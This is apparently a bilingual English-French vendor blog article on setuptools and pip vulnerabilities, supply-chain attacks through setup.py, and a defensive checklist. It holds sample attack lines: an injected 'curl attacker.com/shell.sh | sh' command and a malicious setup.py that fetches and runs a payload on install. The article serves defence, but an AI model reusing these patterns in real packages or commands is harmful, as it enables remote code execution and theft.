Setuptools & pip Security Vulnerabilities in 2026: Directory Traversal, RCE & the Bundled Time BombVulnérabilités Setuptools & pip en 2026 : Directory Traversal, RCE & la bombe à retardement bundlée

Setuptools is the backbone of Python packaging. With over 162 million weekly downloads, it's the tool that makes pip install work. It's also bundled directly into CPython itself, meaning every Python installation ships with it. And in 2025-2026, it has become a recurring source of critical security vulnerabilities.

Setuptools est la colonne vertébrale du packaging Python. Avec plus de 162 millions de téléchargements hebdomadaires, c'est l'outil qui fait fonctionner pip install. Il est aussi bundlé directement dans CPython, ce qui signifie que chaque installation Python en contient une copie. Et en 2025-2026, il est devenu une source récurrente de vulnérabilités critiques.

Two high-severity CVEs — CVE-2025-47273 (directory traversal, CVSS 7.7) and CVE-2024-6345 (remote code execution, CVSS 8.8) — have forced IBM, Red Hat, Ubuntu, and Rocky Linux to issue emergency security bulletins. Meanwhile, Python 3.12 still bundles a version of setuptools that contains both vulnerabilities. This article breaks down every vulnerability, explains why pip install is inherently dangerous, and shows you how to protect your projects.

Deux CVE de haute sévérité — CVE-2025-47273 (directory traversal, CVSS 7.7) et CVE-2024-6345 (exécution de code à distance, CVSS 8.8) — ont forcé IBM, Red Hat, Ubuntu et Rocky Linux à publier des bulletins de sécurité d'urgence. Pendant ce temps, Python 3.12 bundle toujours une version de setuptools contenant les deux vulnérabilités. Cet article détaille chaque vulnérabilité, explique pourquoi pip install est intrinsèquement dangereux, et montre comment protéger vos projets.

CVE-2025-47273: Directory Traversal Leading to Arbitrary File Write

CVE-2025-47273 : Directory Traversal menant à l'écriture arbitraire de fichiers

The most recent setuptools vulnerability is a path traversal flaw in the PackageIndex._download_url method. The vulnerability exists because os.path.join() discards its first argument (the temporary directory) if the second argument begins with a slash or drive letter. While the code attempts to sanitize filenames by replacing .. with ., this sanitization is insufficient.

La vulnérabilité setuptools la plus récente est une faille de path traversal dans la méthode PackageIndex._download_url. La vulnérabilité existe parce que os.path.join() ignore son premier argument (le répertoire temporaire) si le second commence par un slash ou une lettre de lecteur. Bien que le code tente de nettoyer les noms de fichiers en remplaçant .. par ., cette sanitisation est insuffisante.

# Vulnerable code in setuptools < 78.1.1
# package_index.py — _download_url method
#
# The issue: os.path.join() discards tmpdir if filename
# starts with "/" — allowing writes outside the temp dir
#
# os.path.join("/tmp/safe", "/etc/cron.d/malicious")
# Result: "/etc/cron.d/malicious"  (tmpdir discarded!)
#
# The ".." replacement is also bypassable:
# "....//etc/passwd" → "..//etc/passwd" → still traverses

# Fix in setuptools 78.1.1+:
# Added check that resolved path stays within tmpdir

An attacker who controls a malicious package index URL can write files to arbitrary locations on the filesystem with the permissions of the Python process. In CI/CD pipelines running as root, this becomes a direct path to remote code execution — for example, writing a cron job or modifying .bashrc.

Un attaquant qui contrôle une URL d'index de packages malveillante peut écrire des fichiers à n'importe quel emplacement du système de fichiers avec les permissions du processus Python. Dans les pipelines CI/CD exécutés en root, cela devient un chemin direct vers l'exécution de code à distance — par exemple, en écrivant un cron job ou en modifiant .bashrc.

# CVE-2025-47273 Quick Reference
─────────────────────────────────────────────────
Severity:      HIGH (CVSS 4.0: 7.7)
CWE:           CWE-22 (Path Traversal)
Affected:      setuptools < 78.1.1
Fixed in:      setuptools 78.1.1
Attack vector: Malicious package index URL
Impact:        Arbitrary file write → potential RCE
Affected orgs: IBM (Fusion, InfoSphere), Red Hat,
               Ubuntu, Rocky Linux
─────────────────────────────────────────────────
Fix: pip install setuptools>=78.1.1

# CVE-2025-47273 — Référence rapide
─────────────────────────────────────────────────
Sévérité :     HIGH (CVSS 4.0 : 7.7)
CWE :          CWE-22 (Path Traversal)
Affecté :      setuptools < 78.1.1
Corrigé dans : setuptools 78.1.1
Vecteur :      URL d'index de packages malveillante
Impact :       Écriture arbitraire → RCE potentiel
Orgs affectées : IBM (Fusion, InfoSphere), Red Hat,
                  Ubuntu, Rocky Linux
─────────────────────────────────────────────────
Fix : pip install setuptools>=78.1.1

CVE-2024-6345: Remote Code Execution via Command Injection

CVE-2024-6345 : Exécution de code à distance par injection de commande

Before CVE-2025-47273, there was an even more dangerous flaw in the same package_index module. CVE-2024-6345 (CVSS 8.8) allowed arbitrary command execution through download functions that used os.system() with unsanitized user input.

Avant CVE-2025-47273, il existait une faille encore plus dangereuse dans le même module package_index. CVE-2024-6345 (CVSS 8.8) permettait l'exécution arbitraire de commandes via des fonctions de téléchargement utilisant os.system() avec des entrées utilisateur non sanitizées.

# CVE-2024-6345 — the dangerous pattern
# setuptools package_index module used os.system()
# to process package URLs, enabling injection:
#
# Malicious URL crafted to inject shell commands:
# "https://evil.com/package.tar.gz; curl attacker.com/shell.sh | sh"
#
# The os.system() call would execute both the download
# AND the injected command with full shell privileges
#
# Affected: setuptools < 70.0
# Fix: pip install setuptools>=70.0

The vulnerability affected all setuptools versions up to 69.1.1. If any download function in the package_index module was exposed to user-controlled input — such as a package URL from a requirements.txt pointing to a malicious index — an attacker could execute arbitrary commands on the system.

La vulnérabilité affectait toutes les versions de setuptools jusqu'à 69.1.1. Si une fonction de téléchargement du module package_index était exposée à une entrée contrôlée par l'utilisateur — comme une URL de package dans un requirements.txt pointant vers un index malveillant — un attaquant pouvait exécuter des commandes arbitraires sur le système.

# CVE-2024-6345 Quick Reference
─────────────────────────────────────────────────
Severity:      HIGH (CVSS 3.0: 8.8)
CWE:           CWE-94 (Code Injection)
Affected:      setuptools <= 69.1.1
Fixed in:      setuptools 70.0
Attack vector: Malicious package URL via os.system()
Impact:        Full remote code execution
References:    SentinelOne, Red Hat (BZ#2297771),
               Extreme Networks (SA-2024-110)
─────────────────────────────────────────────────
Fix: pip install setuptools>=70.0

# CVE-2024-6345 — Référence rapide
─────────────────────────────────────────────────
Sévérité :     HIGH (CVSS 3.0 : 8.8)
CWE :          CWE-94 (Injection de code)
Affecté :      setuptools <= 69.1.1
Corrigé dans : setuptools 70.0
Vecteur :      URL de package malveillante via os.system()
Impact :       Exécution de code complète
Références :   SentinelOne, Red Hat (BZ#2297771),
               Extreme Networks (SA-2024-110)
─────────────────────────────────────────────────
Fix : pip install setuptools>=70.0

The CPython Bundling Problem: Every Python Install Ships Vulnerable

Le problème du bundling CPython : chaque installation Python livre du vulnérable

Here's the part that makes these vulnerabilities especially dangerous: CPython bundles setuptools directly. Python 3.12 ships with setuptools 67.6.1 — a version that contains both CVE-2024-6345 and CVE-2025-47273. This means every developer who installs Python 3.12 and uses the bundled setuptools is vulnerable by default.

Voici ce qui rend ces vulnérabilités particulièrement dangereuses : CPython bundle setuptools directement. Python 3.12 est livré avec setuptools 67.6.1 — une version qui contient les deux CVE-2024-6345 et CVE-2025-47273. Cela signifie que chaque développeur installant Python 3.12 et utilisant le setuptools bundlé est vulnérable par défaut.

The problem was raised in CPython issue #135374, which highlights that vulnerability scanners flag every Python 3.12 Docker image as containing high-severity CVEs. The fix requires users to manually run pip install --upgrade setuptools after every Python installation — a step most developers skip.

Le problème a été signalé dans le ticket CPython #135374, qui souligne que les scanners de vulnérabilités flaggent chaque image Docker Python 3.12 comme contenant des CVE de haute sévérité. Le correctif exige des utilisateurs de lancer manuellement pip install --upgrade setuptools après chaque installation Python — une étape que la plupart des développeurs sautent.

# Check if your setuptools is vulnerable
pip show setuptools
# Look at the "Version:" line

# Vulnerable versions:
# < 70.0   → CVE-2024-6345 (RCE, CVSS 8.8)
# < 78.1.1 → CVE-2025-47273 (path traversal, CVSS 7.7)

# Fix both vulnerabilities:
pip install --upgrade setuptools>=78.1.1

# In Docker, add this to your Dockerfile:
RUN pip install --no-cache-dir --upgrade setuptools>=78.1.1

# In CI/CD (GitHub Actions example):
# - name: Upgrade setuptools
#   run: pip install --upgrade setuptools>=78.1.1

There's an ongoing discussion in CPython issue #95299 about removing bundled setuptools entirely. The argument: setuptools is a third-party package that happens to be critical, but bundling it creates an update lag that leaves millions of Python installations vulnerable for months after patches are available.

Une discussion en cours dans le ticket CPython #95299 porte sur la suppression complète de setuptools bundlé. L'argument : setuptools est un package tiers qui se trouve être critique, mais le bundler crée un décalage de mise à jour qui laisse des millions d'installations Python vulnérables pendant des mois après la disponibilité des correctifs.

Why pip install Is Dangerous by Design

Pourquoi pip install est dangereux par conception

The setuptools CVEs above are specific flaws, but there's a more fundamental problem: pip install can execute arbitrary code during installation. This is not a bug — it's a feature. When a package uses setup.py instead of a pre-built wheel, pip runs that file with full permissions of the current user.

Les CVE setuptools ci-dessus sont des failles spécifiques, mais il y a un problème plus fondamental : pip install peut exécuter du code arbitraire pendant l'installation. Ce n'est pas un bug — c'est une fonctionnalité. Quand un package utilise setup.py au lieu d'un wheel pré-construit, pip exécute ce fichier avec les pleines permissions de l'utilisateur courant.

Checkmarx researchers demonstrated that simply running pip download (not even install) triggers setup.py execution. As they stated: "This is not a bug but rather a feature in the pip design." An attacker can intentionally publish a package without a .whl file to force setup.py execution on every installation.

Les chercheurs de Checkmarx ont démontré que simplement lancer pip download (pas même install) déclenche l'exécution de setup.py. Comme ils l'ont indiqué : « Ce n'est pas un bug mais une fonctionnalité du design de pip. » Un attaquant peut intentionnellement publier un package sans fichier .whl pour forcer l'exécution de setup.py à chaque installation.

# Malicious setup.py example — executes on pip install
# This is what attackers put in compromised packages

from setuptools import setup
import os, subprocess

# This code runs BEFORE the package is installed
# With the permissions of whoever ran pip install
subprocess.run([
    "curl", "-s", "https://attacker.com/payload.sh",
    "-o", "/tmp/payload.sh"
])
os.system("sh /tmp/payload.sh")

# Then the normal setup continues as if nothing happened
setup(
    name="totally-legit-package",
    version="1.0.0",
    # ...
)

This isn't theoretical. The TeamPCP campaign in March 2026 exploited this exact mechanism to compromise LiteLLM, Trivy, and Checkmarx on PyPI. Malicious versions exfiltrated environment variables, SSH keys, and cloud credentials from every developer who ran pip install. The Telnyx Python SDK was similarly compromised on March 27, 2026, with malicious versions 4.87.1 and 4.87.2 published to PyPI.

Ce n'est pas théorique. La campagne TeamPCP de mars 2026 a exploité exactement ce mécanisme pour compromettre LiteLLM, Trivy et Checkmarx sur PyPI. Les versions malveillantes exfiltraient les variables d'environnement, les clés SSH et les identifiants cloud de chaque développeur ayant lancé pip install. Le SDK Python Telnyx a été similairement compromis le 27 mars 2026, avec les versions malveillantes 4.87.1 et 4.87.2 publiées sur PyPI.

Wheels vs setup.py: Your First Line of Defense

Wheels vs setup.py : votre première ligne de défense

The good news: most packages on PyPI are distributed as wheels (.whl files). Wheels are pre-built binary packages that do not execute setup.py during installation. pip will prefer wheels over source distributions when both are available.

La bonne nouvelle : la plupart des packages sur PyPI sont distribués en tant que wheels (fichiers .whl). Les wheels sont des packages binaires pré-construits qui n'exécutent pas setup.py pendant l'installation. pip préférera les wheels aux distributions source quand les deux sont disponibles.

# Force pip to only install from wheels (no setup.py execution)
pip install --only-binary :all: -r requirements.txt

# This will FAIL if a package doesn't have a wheel available
# — which is exactly what you want for security

# For packages that genuinely need compilation (numpy, etc.),
# whitelist them specifically:
pip install --only-binary :all: --no-binary numpy -r requirements.txt

# In a Dockerfile:
RUN pip install --no-cache-dir --only-binary :all: -r requirements.txt

However, an attacker can intentionally avoid publishing a wheel to force source distribution installs. This is why lockfiles and dependency pinning are critical — they ensure you're always installing the exact version you've tested, from the hash you've verified.

Cependant, un attaquant peut intentionnellement ne pas publier de wheel pour forcer les installations depuis la distribution source. C'est pourquoi les lockfiles et le pinning de dépendances sont critiques — ils garantissent que vous installez toujours la version exacte que vous avez testée, depuis le hash que vous avez vérifié.

CVE-2026-21441: When pip's Own Dependencies Are Vulnerable

CVE-2026-21441 : quand les propres dépendances de pip sont vulnérables

The security risks aren't limited to setuptools itself. In 2026, CVE-2026-21441 (CVSS 8.9, HIGH) was disclosed in urllib3 — the HTTP client library that pip uses internally for all network requests. The vulnerability affects urllib3 versions from 1.22 to before 2.6.3, causing the library to read and decompress entire response bodies for HTTP redirects, creating a denial-of-service vector.

Les risques de sécurité ne se limitent pas à setuptools lui-même. En 2026, CVE-2026-21441 (CVSS 8.9, HIGH) a été divulguée dans urllib3 — la bibliothèque client HTTP que pip utilise en interne pour toutes les requêtes réseau. La vulnérabilité affecte urllib3 de la version 1.22 à avant 2.6.3, causant la lecture et décompression entière des corps de réponse pour les redirections HTTP, créant un vecteur de déni de service.

This highlights a broader pattern: your package manager is itself a dependency tree. pip depends on urllib3, certifi, requests, and other packages. A vulnerability in any of these creates a risk every time you run pip install. You should update pip itself regularly, not just your project's dependencies.

Cela met en évidence un pattern plus large : votre gestionnaire de packages est lui-même un arbre de dépendances. pip dépend de urllib3, certifi, requests et d'autres packages. Une vulnérabilité dans l'un d'eux crée un risque à chaque fois que vous lancez pip install. Vous devez mettre à jour pip lui-même régulièrement, pas seulement les dépendances de votre projet.

# Update pip itself (not just your dependencies)
pip install --upgrade pip

# Check pip's current version and its dependencies
pip show pip
pip show urllib3
pip show certifi

# Best practice: update both pip and setuptools together
pip install --upgrade pip setuptools>=78.1.1

Complete Defense Checklist for Python Packaging Security

Checklist complète de défense pour la sécurité du packaging Python

Based on the vulnerabilities covered above, here's a practical checklist for securing your Python packaging workflow:

Sur la base des vulnérabilités couvertes ci-dessus, voici une checklist pratique pour sécuriser votre workflow de packaging Python :

# Python Packaging Security Checklist (2026)
─────────────────────────────────────────────────

1. UPDATE SETUPTOOLS IMMEDIATELY
   pip install setuptools>=78.1.1
   → Fixes both CVE-2025-47273 and CVE-2024-6345

2. UPDATE PIP REGULARLY
   pip install --upgrade pip
   → Fixes urllib3 and other transitive vulnerabilities

3. USE LOCKFILES (pin exact versions + hashes)
   pip freeze > requirements.txt        # basic
   poetry lock                           # better (hash pinning)
   pip-compile --generate-hashes         # pip-tools (hash pinning)

4. PREFER WHEELS OVER SOURCE DISTRIBUTIONS
   pip install --only-binary :all: -r requirements.txt
   → Prevents setup.py execution entirely

5. VERIFY PACKAGE HASHES
   pip install --require-hashes -r requirements.txt
   → Ensures packages haven't been tampered with

6. NEVER RUN pip install AS ROOT
   Use virtual environments: python -m venv .venv
   → Limits blast radius if a package is compromised

7. AUDIT BEFORE INSTALLING NEW PACKAGES
   pip-audit                             # check for known vulns
   pip install --dry-run package-name    # preview what installs

8. MONITOR CONTINUOUSLY
   Don't just audit once — new CVEs are disclosed daily
   → Upload your lockfile to CVE OptiBot for daily scanning

─────────────────────────────────────────────────

# Checklist Sécurité Packaging Python (2026)
─────────────────────────────────────────────────

1. METTRE À JOUR SETUPTOOLS IMMÉDIATEMENT
   pip install setuptools>=78.1.1
   → Corrige CVE-2025-47273 et CVE-2024-6345

2. METTRE À JOUR PIP RÉGULIÈREMENT
   pip install --upgrade pip
   → Corrige urllib3 et les vulns transitives

3. UTILISER DES LOCKFILES (versions exactes + hashs)
   pip freeze > requirements.txt        # basique
   poetry lock                           # mieux (hash pinning)
   pip-compile --generate-hashes         # pip-tools (hash pinning)

4. PRÉFÉRER LES WHEELS AUX DISTRIBUTIONS SOURCE
   pip install --only-binary :all: -r requirements.txt
   → Empêche l'exécution de setup.py

5. VÉRIFIER LES HASHS DES PACKAGES
   pip install --require-hashes -r requirements.txt
   → S'assurer que les packages n'ont pas été altérés

6. NE JAMAIS LANCER pip install EN ROOT
   Utiliser des environnements virtuels : python -m venv .venv
   → Limite le blast radius si un package est compromis

7. AUDITER AVANT D'INSTALLER DE NOUVEAUX PACKAGES
   pip-audit                             # vérifier les vulns connues
   pip install --dry-run nom-du-package  # prévisualiser l'installation

8. MONITORER EN CONTINU
   Ne pas auditer une seule fois — de nouvelles CVE sortent chaque jour
   → Uploadez votre lockfile sur CVE OptiBot pour un scan quotidien

─────────────────────────────────────────────────

Frequently Asked Questions

Questions fréquentes